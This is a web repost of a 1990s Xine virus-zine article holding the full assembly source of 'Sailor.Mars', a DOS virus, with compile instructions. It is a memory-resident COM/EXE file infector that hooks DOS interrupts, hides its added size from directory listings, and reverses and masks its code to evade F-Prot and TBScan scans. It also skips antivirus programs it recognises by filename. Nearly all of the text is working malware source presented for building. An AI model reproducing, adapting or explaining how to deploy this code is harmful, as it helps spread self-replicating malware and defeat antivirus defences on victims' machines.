Copy Link
Add to Bookmark
Report

xine-1.021

eZine's profile picture
Published in 
Xine
 · 26 Apr 2019

  


/-----------------------------\
| Xine - issue #1 - Phile 021 |
\-----------------------------/


;
;
; b0z0 of da iKx presents
; Sailor.Mars
;
; Dear reader :)
; here is my latest (in this moment) production. The third component of the
; Pretty Soldiers Sailor family is before your eyes! Sailor.Mars!
; enought of this... let's see what it is:
; * TSR (of coz) COM/EXE infector
; * infects on 4bh (execute), 56h (move/rename) and 43h (get/set
; file attributes)
; * stealth on dir (11h/12h), disabled when chkdsk is run
; * int24h handler
; * "encrypted" code: this is quite funny... the virus will run around
; various hard disks reversed... after a short decryptor you will find
; the end of the virus and at the end of the file the head :) this
; seems quite fool, but is currently a good way to fool fprot and tbscan
; scanning! :) when reversing code the routine also tests if there
; occours any Interrupt (well, that are so much of that CDs ;) ) and
; doesn't reverse it. In this manner the AVs will find a 'INT 21h',
; but won't be able to find something interesting (like a mov into the
; AX of some dangerous call) in the useful registers :) To prevent also
; the generation of a 'INT 26h' call (which get flagged) the routine
; also changes the '26h' before any 'CDh' to a more friendly '62h' ;)
; * it doesn't infect a big number of antiviruses
;
; To compile
; TASM /M2 MARS.ASM
; TLINK MARS
;

mars segment
assume cs:mars,ds:mars,es:mars

org 00h
exe_start:
call realstart
realstart:
push ds ;save on stack for later use
push es
mov bp,sp ;bp<-delta offset
mov bx,[bp+4] ;antiheuristic calculation of
mov bp,bx ;delta offset
sub bp,offset realstart ;bye fprot & tbscan :)
cmp byte ptr cs:[movdidl+bp],88h ;first gen?
je exe_enc
call deccom
jmp exe_enc
deccom:
push cs
pop ds
push ds
pop es
inc byte ptr [movdidl+bp] ;reput the mov [di],dl
lea di,[virus_end+bp] ;from
mov cx,enc_end-enc_start
lea si,[enc_end+bp-1] ;to
next:
mov dl,[si] ;let's go
cmp dl,0cdh ;remember out int masquerade
jne nint
mov dl,[di-1]
mov byte ptr [di-1],0cdh
cmp dl,062h ;62->26 to fool abs disk write
jne nint ;alarm
mov dl,026h
nint:
dec si
movdidl: db 88h,15h ;will change to fool enc flag
inc di
dec cx
jnz next
lea di,[enc_start+bp]
lea si,[virus_end+bp]
mov cx,enc_end-enc_start
rep movsb ;put the code in it's real place
ret
virusname db 0,'Sailor.Mars',0
author db '-b0z0/iKx-',0 ;as usual :)
;firstg db 00h
enc_start:
exe_enc:
pop es
pop ds
dec byte ptr cs:[movdidl+bp]
call decvicdata ;decrypt original victim bytes
call resident ;go resident
cmp byte ptr cs:[isexe+bp],00h ;com or exe?
jne realcom
;.exe restore
mov ax,ds
add ax,10h
add cs:[infcs+bp],ax

cli
mov sp,word ptr cs:[infsp+bp] ;restore sp:ss
add ax,word ptr cs:[infss+bp]
mov ss,ax
sti

sub ax,ax
sub bx,bx
sub cx,cx
sub dx,dx
sub di,di
sub si,si
push cs:[infcs+bp] ;push cs:ip
push cs:[infip+bp]
sub bp,bp

retf ;return on original cs:ip
victim_enc_data:
infip dw 00000h
infsp dw ?
infss dw ?
infcs dw 0fff0h
old_jump db 0cdh,020h,00h,00h
isexe db 00h ;00h=exe, 01=com

new_jump db 0e9h,00h,00h,04fh
;.com restore
realcom:
mov di,100h
lea si,[old_jump+bp]
push di
movsw ;put original 2 words
movsw
pop ax
jmp ax ;jump at cs:100
resident:
push es
push ds
mov ax,02abch ;installation check
int 21h
cmp bx,0def6h ; HEX DEF6
je notinst

push es
mov ax,3521h ; get int 21 adress
int 21h
mov word ptr cs:[old_int21_off+bp],bx ;store int21 offset
mov word ptr cs:[old_int21_seg+bp],es ; and segment
pop es

mov ax,es ; es=psp
dec ax ; psp-1=mcb
mov ds,ax ; DS = segment of programs mcb
sub di,di
l4mcb: ; look for last mcb in chain
cmp byte ptr ds:[di],'Z' ;is last?
je last
inc ax
add ax,word ptr ds:[di+03h]
mov ds,ax
jmp l4mcb
last:
sub word ptr ds:[di+03h],size_para ; =mcb+03h
add ax,word ptr ds:[di+03h]
sub word ptr ds:[di+12h],size_para ; =psp+02h
inc ax ; AX = first usable MCB segment

cld
push cs
pop ds ; ds points on code
mov cx,(virus_end-exe_start+1)/2
mov es,ax ; es points on our usable segment
lea si,[exe_start+bp] ; si points on our code
rep movsw ; move virus
push es ; virus segment

mov ax,2521h ; set interrupt 21h handler
pop ds ; point to virus segment
mov dx,[offset int21_handler]
int 21h
dec byte ptr cs:[movdidl+bp]
notinst:
pop ds
pop es
ret
dirstealth:
pushf
push cs
call goint21
cmp al,0 ;ok?
jnz leave_dir ;no?

push es
push bx
push ax
push di

mov ah,2fh
int 21h

mov di,bx
cmp byte ptr es:[di],0ffh
jne no_ext
add di,07h

no_ext:
mov al,byte ptr es:[di+17h] ;seconds field
and al,1fh
xor al,0eh ;is file infected?
jnz error
hide:
sub word ptr es:[di+1dh],(virus_end-exe_start) ;hide size
sbb word ptr es:[di+1fh],00h
error:
pop di
pop ax
pop bx
pop es
leave_dir:
retf 2

int21_handler:
cmp ax,02abch ; installation check
jne acheck
mov bx,0def6h ; HEX DEF6
iret
acheck:
cmp ah,4bh ; program execution
je execute

cmp ah,56h ; move/rename file
je execute

cmp ah,32h
jne no_disable_stealth
inc byte ptr cs:[nost]

no_disable_stealth:
cmp byte ptr cs:[nost],00h
jne nostealth

cmp ah,11h
je dirstealth

cmp ah,12h
je dirstealth
nostealth:
cmp ah,4ch
jne noterm
mov byte ptr cs:[nost],00h
noterm:
cmp ah,43h ;get/set file attributes
jne goint21
cmp bh,4fh ;marker for our internal uses
jne execute

goint21:
jmp cs:old_int21
old_int21 label dword
old_int21_off dw ?
old_int21_seg dw ?

execute:
pushf
push ax
push bx
push dx
push cx
push bp
push ds
push si
push di
push es


push ds
push dx
mov ax,3524h ;get int24h seg and off
int 21h
mov word ptr cs:[old_int24_off],bx ;store them
mov word ptr cs:[old_int24_seg],es

push cs
pop ds
mov dx,offset int24h ;our int24h
mov ax,2524h
int 21h
pop dx
pop ds

push di
push dx
pop di
sloop: ;ds:di-> filename
inc di
cmp byte ptr ds:[di],'.'
jne sloop ;search for '.'
inc di
cmp word ptr ds:di,'XE' ;is an exe?
je ahead2
cmp word ptr ds:di,'OC' ;is a com
je ahead2
pop di
jmp oh_shit2
ahead2:
mov byte ptr cs:[avrunning],00h
call checkav ;look if we are infecting
pop di ;an antiviru$
cmp byte ptr cs:[avrunning],01h
jne bogus
jmp oh_shit2
bogus:
mov bh,4fh
mov ax,4300h
int 21h

push cx
push ds
push dx
sub cx,cx
call set_attr

mov ax,3d02h ;open for rw
int 21h
jnc ahead
jmp oh_shit
ahead:
mov bx,ax ;bx file handle as usual
push cs
pop ds

mov ax,5700h ;read date/time
int 21h
push dx
push cx

mov ah,3fh ;read 1ch bytes from file
mov cx,1dh
lea dx,exeheader
mov si,dx
int 21h

cmp byte ptr [si],'M' ;exe?
je exestuff
cmp byte ptr [si+1],'Z' ;exe?
je exestuff
cmp byte ptr [si],0e9h ;jump in com?
jne cominf
cmp byte ptr [si+3],04fh ;is ours?
je notcominf
cominf:
call cominfect ;infect .com file
notcominf:
jmp closing ;go away
exestuff:
cmp byte ptr [si+18h],'@' ;winexes
je closing
cmp word ptr [si+12h],'MS' ;sailormars marker
je closing
cmp word ptr [si+1ah],00h ;internal ovl
jne closing

call exeinfect ;infect .exe file
closing:
pop cx
pop dx
mov ax,5701h ;set date/time
cmp byte ptr [avrunning],02h
jne justdoit
and cl,0e0h
add cl,0eh
justdoit:
int 21h

mov ah,3eh ;close file
int 21h
oh_shit:
pop dx
pop ds
pop cx
call set_attr ;reput old attributes
oh_shit2:
mov ax,2524h
mov ds,cs:[old_int24_seg]
mov dx,cs:[old_int24_off]
int 21h ; restore int24h

pop es
pop di
pop si
pop ds
pop bp
pop cx
pop dx
pop bx
pop ax
popf
jmp goint21
cominfect: ;com infection routine
;bx <-- filehandle
;si --> exeheader
;cs=ds=code

push ds ;copy original 4 bytes
pop es
lea di,old_jump ;in old_jump
movsw
movsw

mov al,02h ;lseek at end
call movefile

cmp ax,0f230h ;ax=62000?
ja exitcominfect ;jmp if ax>62000

cmp ax,0400h ;ax=1024?
jbe exitcominfect ;jmp if ax<=1024

sub ax,03h ;sub the jmp
mov word ptr new_jump + 01h, ax ;new jump

mov byte ptr isexe,01h ;mark as com

call genran ;random number for xor
sub bp,bp
call decvicdata ;xor them

call enccom ;reverse virus

push ds
push es
pop ds

mov ah,40h ;write virus at end
mov cx,(virus_end-exe_start)
mov dx,offset exe_start
int 21h

xor al,al
call movefile

pop ds
mov cx,04h ;write first 4 bytes
mov ah,40h
mov dx,offset new_jump
int 21h

mov byte ptr [avrunning],02h
exitcominfect:
ret
movefile: ;move through the file
mov ah,42h
cwd
sub cx,cx
int 21h
ret
exeinfect:
;bx <- filehandle
;si -> exeheader

mov cx,word ptr [si+14h] ;store old IP
mov infip,cx
mov cx,word ptr [si+16h] ;store old CS
mov infcs,cx
mov cx,word ptr [si+10h] ;store old SP
mov infsp,cx
mov cx,word ptr [si+0eh] ;store old SS
mov infss,cx

mov al,02h
call movefile
call loadsize
cmp dx,word ptr [lendx] ;compare lseek length with
ja exitexeinfect ;length of image that will
cmp ax,word ptr [lenax] ;be loaded by the loader
ja exitexeinfect

push ax ;store length
push dx

mov cx,10h
div cx

sub ax,word ptr [si+08h]
mov word ptr [si+14h],dx ;new length
mov word ptr [si+16h],ax

add dx,offset ourstack

mov word ptr [si+10h],dx ;new stack
mov word ptr [si+0eh],ax

pop dx
pop ax

mov cx,200h ;200h=512=one page

add ax,(virus_end-exe_start)
adc dx,00h
div cx
mov word ptr [si+02h],dx ;new length
mov word ptr [si+12h],'MS' ;marker
inc ax
mov word ptr [si+04h],ax ;new length

mov byte ptr [isexe],00h

call genran ;generate xor value

push ds
push si
sub bp,bp
call decvicdata ;encrypt the original bytes

call enccom ;reverse our virus
push es
pop ds
pop si

mov ah,40h ;write virus at end
mov cx,(virus_end-exe_start)
mov dx,offset exe_start
push ax
int 21h

sub al,al ;move at start
call movefile

pop ax
pop ds ;rewrite header
mov cx,1ch
mov dx,si
int 21h

mov byte ptr [avrunning],02h
exitexeinfect:
ret
enccom:
mov ax,8d00h ;some suitable mem
mov es,ax
mov di,offset exe_start
mov si,di
mov cx,offset enc_start
rep movsb ;copy first normal part of code
mov si,offset enc_end-1
mov cx,enc_end-enc_start
critt:
mov dh,ds:[si]
cmp dh,0cdh ;is an int?
jne notint
mov dh,es:[di-1]
mov ah,0cdh
mov es:[di-1],ah
cmp dh,026h ;change 26 to 62, so no
jne notint ;absolute disk writes will
mov dh,062h ;be noticed
notint:
mov es:[di],dh
dec si ;copy and reverse code
inc di
dec cx
jnz critt
ret
xorvalue dw 00h
decvicdata: ;minor encryption for original bytes
lea si,cs:[bp+victim_enc_data]
mov dx,word ptr cs:[bp+xorvalue]
mov cx,06h ;6 words to encrypt
encloopy: ;cs:
xor word ptr cs:[si],dx
inc si
inc si ;next word
loop encloopy
xor byte ptr cs:[si],dh ;xor com/exe marker
ret
genran: ;generate random value for xoring
in ax,40h
mov word ptr [xorvalue],ax ;store value
ret
set_attr:
push bx
mov bh,4fh
mov ax,4301h ;set attributes
int 21h
pop bx
ret
loadsize:
push ax ;calculate lenght of loaded
push dx ;image from header
mov cx,word ptr [si+04h]
mov ax,512
mul cx
add ax,word ptr [si+02h]
adc dx,00h
mov word ptr [lenax],ax
mov word ptr [lendx],dx
pop dx
pop ax
ret
antiviruses db 'TB','AV','F-','VI','SC','IT','IV','FI','NA','CO'
dw 00h
checkav: ;check if the current program being infected is an AV
;ds:di --> '.'+1 in the filename
dec di ;
cmp byte ptr ds:[di-1],'\' ;search for the \
jne checkav ;
lea si,antiviruses
avcloop:
mov cx,word ptr cs:[si]
cmp word ptr ds:di,cx
jne notav
mov byte ptr cs:[avrunning],01h ;set av flag
notav:
cmp byte ptr cs:[avrunning],01h
je endscan
inc si ;next av signature
inc si
cmp word ptr cs:[si],00h ;end of the checked sigs?
je endscan
jmp avcloop
endscan:
ret
int24h:
mov al,00h ;much better, so on an attrib on a wp
iret ;diskette that wouldn't be a wp warning
enc_end:
virus_end:

nost db 00h ;00h=11h/12h enabled, 1=disabled
old_int24_off dw ? ;original int24 offset
old_int24_seg dw ? ;original int24 segment

avrunning db ? ;00h av not running, 01h running
;02h file succesfully infected
lenax dw ?
lendx dw ?
exeheader db 1dh dup (?)
size_para=(virus_end-exe_start+0fh)/10h+2 ;virus + some temp space
lengthstack db 1024 dup (?) ;256

ourstack:

mars ends
end exe_start

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT